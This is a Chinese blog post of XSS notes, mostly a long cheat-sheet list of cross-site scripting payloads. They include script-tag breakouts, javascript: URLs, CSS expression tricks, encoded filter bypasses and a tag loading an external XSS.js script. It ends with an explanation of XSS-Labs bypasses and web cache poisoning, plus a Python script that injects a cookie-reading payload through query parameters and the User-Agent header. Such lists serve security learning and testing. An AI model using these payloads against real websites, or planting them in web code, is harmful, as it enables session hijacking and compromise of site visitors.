XSS笔记

本文详细列举了多种HTML代码片段,展示了XSS(Cross-SiteScripting)攻击的常见手法,包括利用`<script>`标签、CSS背景、元标签等进行恶意脚本植入,警示开发者注意网站安全防护。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

"><script alert(1744))</script>
'">><script>alert(1745)</script>
<META HTTP-EQUIV=\"refresh\" CONTENT=\"0;url=javascript:alert(1746);\">
<META HTTP-EQUIV=\"refresh\" CONTENT=\"0; URL=http://;URL=javascript:alert(1747);\">
<script>1748 1748 = 1; alert(1748)</script>
<STYLE type="text/css">BODY{background:url("javascript:alert(1749)")}</STYLE>
<?='<SCRIPT>alert(1750)</SCRIPT>'?>
" onfocus=alert(1751) "> <"
<FRAMESET><FRAME SRC=\"javascript:alert(1752);\"></FRAMESET>
<STYLE>li {list-style-image: url(\"javascript:alert(1753)\");}</STYLE><UL><LI>XSS
perl -e 'print \"<SCR\0IPT>alert(1754)</SCR\0IPT>\";' > out
perl -e 'print \"<IMG SRC=java\0script:alert(1755)>\";' > out
<br size=\"&{alert(1756)}\">
<scrscriptipt>alert(1757)</scrscriptipt>
</script><script>alert(1759)</script>
"><BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert(1760)>
[color=red width=expression(alert(1761))][color]
<BASE HREF="javascript:alert(1762);//">
"></iframe><script>alert(1763)</script>
<body onLoad="while(true) alert(1764);">
'"></title><script>alert(1765)</script>
</textarea>'"><script>alert(1766)</script>
'""><script language="JavaScript"> alert(1767);</script>
</script></script><<<<script><>>>><<<script>alert(1768)</script>
<INPUT TYPE="IMAGE" SRC="javascript:alert(1769);">
'></select><script>alert(1770)</script>
a="get";b="URL";c="javascript:";d="alert(1771);";eval(a+b+c+d);
='><script>alert(1772)</script>
<body background=javascript:'"><script>alert(1773)</script>></body>
">/XaDoS/><script>alert(1774)</script><script src="http://www.site.com/XSS.js"></script>
">/KinG-InFeT.NeT/><script>alert(1775)</script>
!--" /><script>alert(1776);</script>
<script>alert(1777)</script><marquee><h1>XSS by xss</h1></marquee>
"><script>alert(1778)</script>><marquee><h1>XSS by xss</h1></marquee>
'"></title><script>alert(1779)</script>><marquee><h1>XSS by xss</h1></marquee>
<img """><script>alert(1780)</script><marquee><h1>XSS by xss</h1></marquee>
<script>alert(1781)</script><marquee><h1>XSS by xss</h1></marquee>
"><script>alert(1782)</script>"><script>alert("XSS by \nxss</h1></marquee>
'"></title><script>alert(1783)</script>><marquee><h1>XSS by xss</h1></marquee>
<iframe src="javascript:alert(1784);"></iframe><marquee><h1>XSS by xss</h1></marquee>
'><SCRIPT>alert(1785))</SCRIPT><img src="" alt='
"><SCRIPT>alert(1786))</SCRIPT><img src="" alt="
\'><SCRIPT>alert(1787))</SCRIPT><img src="" alt=\'
'); alert(1788); var x='
\\'); alert(1789);var x=\'
//--></SCRIPT><SCRIPT>alert(1790));
>"><ScRiPt%20%0a%0d>alert(1791)%3B</ScRiPt>
<SCRIPT> alert(1792); </SCRIPT>
<BODY ONLOAD=alert(1793)>
<BODY BACKGROUND="javascript:alert(1794)">
<IMG SRC="javascript:alert(1795);">
<IMG DYNSRC="javascript:alert(1796)">
<IMG LOWSRC="javascript:alert(1797)">
<INPUT TYPE="IMAGE" SRC="javascript:alert(1798);">
<LINK REL="stylesheet" HREF="javascript:alert(1799);">
<TABLE BACKGROUND="javascript:alert(1800)">
<TD BACKGROUND="javascript:alert(1801)">
<DIV STYLE="background-image: url(javascript:alert(1802))">
<DIV STYLE="width: expression(alert(1803));">
&apos;;alert(1804))//\&apos;;alert(1804))//&quot;;alert(1804))//\&quot;;alert(1804))//--&gt;&lt;/SCRIPT&gt;&quot;&gt;&apos;&gt;&lt;SCRIPT&gt;alert(1804))&lt;/SCRIPT&gt;
&lt;SCRIPT&gt;alert(1805)&lt;/SCRIPT&gt;
&lt;SCRIPT&gt;alert(1806))&lt;/SCRIPT&gt;
&lt;BASE HREF=&quot;javascript:alert(1807);//&quot;&gt;
&lt;BGSOUND SRC=&quot;javascript:alert(1808);&quot;&gt;
### XSS-Labs学习笔记与解决方案 #### 关于XSS-Labs的理解 XSS-Labs 是一种用于练习跨站脚本攻击(Cross-Site Scripting, XSS)技巧的在线平台。它提供了多个难度等级的挑战,帮助用户了解并掌握如何绕过常见的安全防护措施。通过这些实验,可以深入理解 XSS 的工作原理以及防御方法。 #### 绕过检测机制的方法 在某些情况下,传统的 XSS 攻击载荷可能被现代 Web 应用程序中的过滤器阻止。为了成功执行 XSS 攻击,需要采用更复杂的策略来规避这些保护机制。例如,在 Level 5 中,`onclick` 和 `script` 被过滤掉的情况下,可以通过其他 HTML 属性实现类似的交互效果[^3]。 下面是一个具体的例子: ```html <a href="javascript:alert('XSS')">Click Me</a> ``` 此代码片段创建了一个超链接按钮,当用户点击时会弹出提示框显示字符串 'XSS'。这种方法不依赖于显式的 `<script>` 标签或者事件处理器属性如 `onclick`,因此有可能避开简单的正则表达式过滤规则。 #### 缓存投毒技术的应用 除了直接针对用户的浏览器发起 XSS 攻击外,还可以利用服务器端存在的漏洞实施更大范围的影响——即所谓的 **Web Cache Poisoning** (WCP)[^2]。在这种类型的攻击里,攻击者诱导目标网站将其恶意构造的内容存储到公共代理缓存之中;之后访问同一资源的所有人都会被返回含有该有害数据版本页面。 要达成这样的目的,通常需要找到那些未正确验证请求参数值的服务端逻辑缺陷,并结合 URL 查询串或其他可变因素制造差异性的响应内容供后续抓取入库之用。 以下是模拟一次基本操作过程的一个简化版 Python 脚本样例: ```python import requests url = "http://example.com/vulnerable-page" params = {'search': '<img src=x onerror=alert(document.cookie)>', 'other_param': 'value'} headers = {"User-Agent": "<script>alert('CachePoison')</script>"} response = requests.get(url, params=params, headers=headers) if response.status_code == 200: print("Request sent successfully.") else: print(f"Failed with status code {response.status_code}.") ``` 上述代码试图向指定网址发送 GET 请求的同时附加特殊设计过的查询条件和自定义头部字段,期望能够影响最终呈现给客户端的结果集从而完成整个流程链路闭环。 ---
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值